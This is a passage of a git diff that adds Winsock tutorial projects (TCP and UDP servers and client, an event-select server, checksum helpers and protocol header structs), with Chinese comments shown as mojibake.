+ sin.sin_addr.S_un.S_addr = INADDR_ANY; + + // °ó¶¨Õâ¸öÌ×½Ú×Öµ½Ò»¸ö±¾µØµØÖ· + if(::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf("Failed bind() \n"); + return 0; + } + + // ½øÈë¼àÌýģʽ + if(::listen(sListen, 2) == SOCKET_ERROR) + { + printf("Failed listen() \n"); + return 0; + } + + // Ñ­»·½ÓÊÜ¿Í»§µÄÁ¬½ÓÇëÇó + sockaddr_in remoteAddr; + int nAddrLen = sizeof(remoteAddr); + SOCKET sClient; + char szText[] = " TCP Server Demo! \r\n"; + while(TRUE) + { + // ½ÓÊÜÒ»¸öÐÂÁ¬½Ó + sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen); + if(sClient == INVALID_SOCKET) + { + printf("Failed accept()"); + continue; + } + + printf(" ½ÓÊܵ½Ò»¸öÁ¬½Ó£º%s \r\n", inet_ntoa(remoteAddr.sin_addr)); + + // Ïò¿Í»§¶Ë·¢ËÍÊý¾Ý + ::send(sClient, szText, strlen(szText), 0); + // ¹Ø±Õͬ¿Í»§¶ËµÄÁ¬½Ó + ::closesocket(sClient); + } + + // ¹Ø±Õ¼àÌýÌ×½Ú×Ö + ::closesocket(sListen); + + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.sln" new file mode 100644 index 0000000..5818373 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TCPServer", "TCPServer.vcproj", "{B858F2A1-C2A3-4646-8074-DC19D204C883}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B858F2A1-C2A3-4646-8074-DC19D204C883}.Debug|Win32.ActiveCfg = Debug|Win32 + {B858F2A1-C2A3-4646-8074-DC19D204C883}.Debug|Win32.Build.0 = Debug|Win32 + {B858F2A1-C2A3-4646-8074-DC19D204C883}.Release|Win32.ActiveCfg = Release|Win32 + {B858F2A1-C2A3-4646-8074-DC19D204C883}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.suo" new file mode 100644 index 0000000..94101a2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.vcproj" new file mode 100644 index 0000000..efc6965 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/TCPServer.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/TCPServer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.cpp" new file mode 100644 index 0000000..f85000f --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.cpp" @@ -0,0 +1,39 @@ +////////////////////////////////////////////////////////// +// UDPClientÎļþ + + +#include "../common/InitSock.h" +#include +CInitSock initSock; // ³õʼ»¯Winsock¿â + +int main() +{ + // ´´½¨Ì×½Ú×Ö + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if(s == INVALID_SOCKET) + { + printf("Failed socket() %d \n", ::WSAGetLastError()); + return 0; + } + + // Ò²¿ÉÒÔÔÚÕâÀïµ÷ÓÃbindº¯Êý°ó¶¨Ò»¸ö±¾µØµØÖ· + // ·ñÔòϵͳ½«»á×Ô¶¯°²ÅÅ + + // ÌîдԶ³ÌµØÖ·ÐÅÏ¢ + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(4567); + // ×¢Ò⣬ÕâÀïÒªÌîд·þÎñÆ÷³ÌÐòËùÔÚ»úÆ÷µÄIPµØÖ· + // Èç¹ûÄãµÄ¼ÆËã»úûÓÐÁªÍø£¬Ö±½ÓʹÓÃ127.0.0.1¼´¿É + addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); + + // ·¢ËÍÊý¾Ý + char szText[] = " TCP Server Demo! \r\n"; + ::sendto(s, szText, strlen(szText), 0, (sockaddr*)&addr, sizeof(addr)); + + ::closesocket(s); + + getchar (); + + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.sln" new file mode 100644 index 0000000..9980d19 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UDPClient", "UDPClient.vcproj", "{A5694846-3CD8-4E22-8088-D5847D599A42}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A5694846-3CD8-4E22-8088-D5847D599A42}.Debug|Win32.ActiveCfg = Debug|Win32 + {A5694846-3CD8-4E22-8088-D5847D599A42}.Debug|Win32.Build.0 = Debug|Win32 + {A5694846-3CD8-4E22-8088-D5847D599A42}.Release|Win32.ActiveCfg = Release|Win32 + {A5694846-3CD8-4E22-8088-D5847D599A42}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.suo" new file mode 100644 index 0000000..1ab52a7 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.vcproj" new file mode 100644 index 0000000..6b5832e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/UDPClient.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPClient/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.cpp" new file mode 100644 index 0000000..fd4043c --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.cpp" @@ -0,0 +1,46 @@ +////////////////////////////////////////////////////////// +// UDPServer.cppÎļþ + + +#include "../common/InitSock.h" +#include +CInitSock initSock; // ³õʼ»¯Winsock¿â + +int main() +{ + // ´´½¨Ì×½Ú×Ö + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if(s == INVALID_SOCKET) + { + printf("Failed socket() \n"); + return 0; + } + + // Ìî³äsockaddr_in½á¹¹ + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(4567); + sin.sin_addr.S_un.S_addr = INADDR_ANY; + + // °ó¶¨Õâ¸öÌ×½Ú×Öµ½Ò»¸ö±¾µØµØÖ· + if(::bind(s, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf("Failed bind() \n"); + return 0; + } + + // ½ÓÊÕÊý¾Ý + char buff[1024]; + sockaddr_in addr; + int nLen = sizeof(addr); + while(TRUE) + { + int nRecv = ::recvfrom(s, buff, 1024, 0, (sockaddr*)&addr, &nLen); + if(nRecv > 0) + { + buff[nRecv] = '\0'; + printf(" ½ÓÊÕµ½Êý¾Ý£¨%s£©£º%s", ::inet_ntoa(addr.sin_addr), buff); + } + } + ::closesocket(s); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.sln" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.sln" new file mode 100644 index 0000000..947e5a8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UDPServer", "UDPServer.vcproj", "{D27463DF-CBCF-4774-8C22-F164D851B641}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D27463DF-CBCF-4774-8C22-F164D851B641}.Debug|Win32.ActiveCfg = Debug|Win32 + {D27463DF-CBCF-4774-8C22-F164D851B641}.Debug|Win32.Build.0 = Debug|Win32 + {D27463DF-CBCF-4774-8C22-F164D851B641}.Release|Win32.ActiveCfg = Release|Win32 + {D27463DF-CBCF-4774-8C22-F164D851B641}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.suo" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.suo" new file mode 100644 index 0000000..dddb9de Binary files /dev/null and "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.suo" differ diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.vcproj" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.vcproj" new file mode 100644 index 0000000..4e0faf1 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/UDPServer.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/UDPServer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2542\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2542\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2542\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2542\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2542\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2542\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\2542\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2542\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.cpp" "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.cpp" new file mode 100644 index 0000000..5a8d3de --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.cpp" @@ -0,0 +1,74 @@ +/////////////////////////////////////////// +// EventSelectServer.cppÎļþ + +#include "../common/initsock.h" + +#include +#include + +#include "EventSelectServer.h" + +// ³õʼ»¯Winsock¿â +CInitSock theSock; + +int main() +{ + USHORT nPort = 4567; // ´Ë·þÎñÆ÷¼àÌýµÄ¶Ë¿ÚºÅ + + // ´´½¨¼àÌýÌ×½Ú×Ö + SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(nPort); + sin.sin_addr.S_un.S_addr = INADDR_ANY; + if(::bind(sListen, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf(" Failed bind() \n"); + return -1; + } + ::listen(sListen, 200); + + // ´´½¨Ê¼þ¶ÔÏ󣬲¢¹ØÁªµ½¼àÌýµÄÌ×½Ú×Ö + WSAEVENT event = ::WSACreateEvent(); + ::WSAEventSelect(sListen, event, FD_ACCEPT|FD_CLOSE); + + ::InitializeCriticalSection(&g_cs); + + // ´¦Àí¿Í»§Á¬½ÓÇëÇ󣬴òӡ״̬ÐÅÏ¢ + while(TRUE) + { + int nRet = ::WaitForSingleObject(event, 5*1000); + if(nRet == WAIT_FAILED) + { + printf(" Failed WaitForSingleObject() \n"); + break; + } + else if(nRet == WSA_WAIT_TIMEOUT) // ¶¨Ê±ÏÔʽ״̬ÐÅÏ¢ + { + printf(" \n"); + printf(" TatolConnections: %d \n", g_nTatolConnections); + printf(" CurrentConnections: %d \n", g_nCurrentConnections); + continue; + } + else // ÓÐеÄÁ¬½Óδ¾ö + { + ::ResetEvent(event); + // Ñ­»·´¦ÀíËùÓÐδ¾öµÄÁ¬½ÓÇëÇó + while(TRUE) + { + sockaddr_in si; + int nLen = sizeof(si); + SOCKET sNew = ::accept(sListen, (sockaddr*)&si, &nLen); + if(sNew == SOCKET_ERROR) + break; + PSOCKET_OBJ pSocket = GetSocketObj(sNew); + pSocket->addrRemote = si; + ::WSAEventSelect(pSocket->s, pSocket->event, FD_READ|FD_CLOSE|FD_WRITE); + AssignToFreeThread(pSocket); + } + } + } + ::DeleteCriticalSection(&g_cs); + return 0; +} + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.h" "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.h" new file mode 100644 index 0000000..5abaefe --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.h" @@ -0,0 +1,329 @@ +///////////////////////////////////////////////////// +// EventSelectServer.hÎļþ + +DWORD WINAPI ServerThread(LPVOID lpParam); + + +// Ì×½Ú×Ö¶ÔÏó +typedef struct _SOCKET_OBJ +{ + SOCKET s; // Ì×½Ú×Ö¾ä±ú + HANDLE event; // Óë´ËÌ×½Ú×ÖÏà¹ØÁªµÄʼþ¶ÔÏó¾ä±ú + sockaddr_in addrRemote; // ¿Í»§¶ËµØÖ·ÐÅÏ¢ + + _SOCKET_OBJ *pNext; // Ö¸ÏòÏÂÒ»¸öSOCKET_OBJ¶ÔÏó£¬ÎªµÄÊÇÁ¬³ÉÒ»¸ö±í +} SOCKET_OBJ, *PSOCKET_OBJ; + +// Ï̶߳ÔÏó +typedef struct _THREAD_OBJ +{ + HANDLE events[WSA_MAXIMUM_WAIT_EVENTS]; // ¼Ç¼µ±Ç°Ïß³ÌÒªµÈ´ýµÄʼþ¶ÔÏóµÄ¾ä±ú + int nSocketCount; // ¼Ç¼µ±Ç°Ï̴߳¦ÀíµÄÌ×½Ú×ÖµÄÊýÁ¿ <= WSA_MAXIMUM_WAIT_EVENTS + + PSOCKET_OBJ pSockHeader; // µ±Ç°Ï̴߳¦ÀíµÄÌ×½Ú×Ö¶ÔÏóÁÐ±í£¬pSockHeaderÖ¸Ïò±íÍ· + PSOCKET_OBJ pSockTail; // pSockTailÖ¸Ïò±íβ + + CRITICAL_SECTION cs; // ¹Ø¼ü´úÂë¶Î±äÁ¿£¬ÎªµÄÊÇͬ²½¶Ô±¾½á¹¹µÄ·ÃÎÊ + _THREAD_OBJ *pNext; // Ö¸ÏòÏÂÒ»¸öTHREAD_OBJ¶ÔÏó£¬ÎªµÄÊÇÁ¬³ÉÒ»¸ö±í + +} THREAD_OBJ, *PTHREAD_OBJ; + +// Ïß³ÌÁбí +PTHREAD_OBJ g_pThreadList; // Ö¸ÏòÏ̶߳ÔÏóÁбí±íÍ· +CRITICAL_SECTION g_cs; // ͬ²½¶Ô´ËÈ«¾Ö±äÁ¿µÄ·ÃÎÊ + + +// ״̬ÐÅÏ¢ +LONG g_nTatolConnections; // ×ܹ²Á¬½ÓÊýÁ¿ +LONG g_nCurrentConnections; // µ±Ç°Á¬½ÓÊýÁ¿ + + +// ÉêÇëÒ»¸öÌ×½Ú×Ö¶ÔÏ󣬳õʼ»¯ËüµÄ³ÉÔ± +PSOCKET_OBJ GetSocketObj(SOCKET s) +{ + PSOCKET_OBJ pSocket = (PSOCKET_OBJ)::GlobalAlloc(GPTR, sizeof(SOCKET_OBJ)); + if(pSocket != NULL) + { + pSocket->s = s; + pSocket->event = ::WSACreateEvent(); + } + return pSocket; +} + +// ÊÍ·ÅÒ»¸öÌ×½Ú×Ö¶ÔÏó +void FreeSocketObj(PSOCKET_OBJ pSocket) +{ + ::CloseHandle(pSocket->event); + if(pSocket->s != INVALID_SOCKET) + { + ::closesocket(pSocket->s); + } + ::GlobalFree(pSocket); +} + +// ÉêÇëÒ»¸öÏ̶߳ÔÏ󣬳õʼ»¯ËüµÄ³ÉÔ±£¬²¢½«ËüÌí¼Óµ½Ï̶߳ÔÏóÁбíÖÐ +PTHREAD_OBJ GetThreadObj() +{ + PTHREAD_OBJ pThread = (PTHREAD_OBJ)::GlobalAlloc(GPTR, sizeof(THREAD_OBJ)); + if(pThread != NULL) + { + ::InitializeCriticalSection(&pThread->cs); + // ´´½¨Ò»¸öʼþ¶ÔÏó£¬ÓÃÓÚָʾ¸ÃÏ̵߳ľä±úÊý×éÐèÒªÖØ×é + pThread->events[0] = ::WSACreateEvent(); + + // ½«ÐÂÉêÇëµÄÏ̶߳ÔÏóÌí¼Óµ½ÁбíÖÐ + ::EnterCriticalSection(&g_cs); + pThread->pNext = g_pThreadList; + g_pThreadList = pThread; + ::LeaveCriticalSection(&g_cs); + } + return pThread; +} + +// ÊÍ·ÅÒ»¸öÏ̶߳ÔÏ󣬲¢½«Ëü´ÓÏ̶߳ÔÏóÁбíÖÐÒƳý +void FreeThreadObj(PTHREAD_OBJ pThread) +{ + // ÔÚÏ̶߳ÔÏóÁбíÖвéÕÒpThreadËùÖ¸µÄ¶ÔÏó£¬Èç¹ûÕÒµ½¾Í´ÓÖÐÒƳý + ::EnterCriticalSection(&g_cs); + PTHREAD_OBJ p = g_pThreadList; + if(p == pThread) // ÊǵÚÒ»¸ö£¿ + { + g_pThreadList = p->pNext; + } + else + { + while(p != NULL && p->pNext != pThread) + { + p = p->pNext; + } + if(p != NULL) + { + // ´Ëʱ£¬pÊÇpThreadµÄÇ°Ò»¸ö£¬¼´¡°p->pNext == pThread¡± + p->pNext = pThread->pNext; + } + } + ::LeaveCriticalSection(&g_cs); + + // ÊÍ·Å×ÊÔ´ + ::CloseHandle(pThread->events[0]); + ::DeleteCriticalSection(&pThread->cs); + ::GlobalFree(pThread); +} + +// ÖØн¨Á¢Ï̶߳ÔÏóµÄeventsÊý×é +void RebuildArray(PTHREAD_OBJ pThread) +{ + ::EnterCriticalSection(&pThread->cs); + PSOCKET_OBJ pSocket = pThread->pSockHeader; + int n = 1; // ´ÓµÚ1¸ö¿ªÊ¼Ð´£¬µÚ0¸öÓÃÓÚָʾÐèÒªÖؽ¨ÁË + while(pSocket != NULL) + { + pThread->events[n++] = pSocket->event; + pSocket = pSocket->pNext; + } + ::LeaveCriticalSection(&pThread->cs); +} + +///////////////////////////////////////////////////////////////////// + +// ÏòÒ»¸öÏ̵߳ÄÌ×½Ú×ÖÁбíÖвåÈëÒ»¸öÌ×½Ú×Ö +BOOL InsertSocketObj(PTHREAD_OBJ 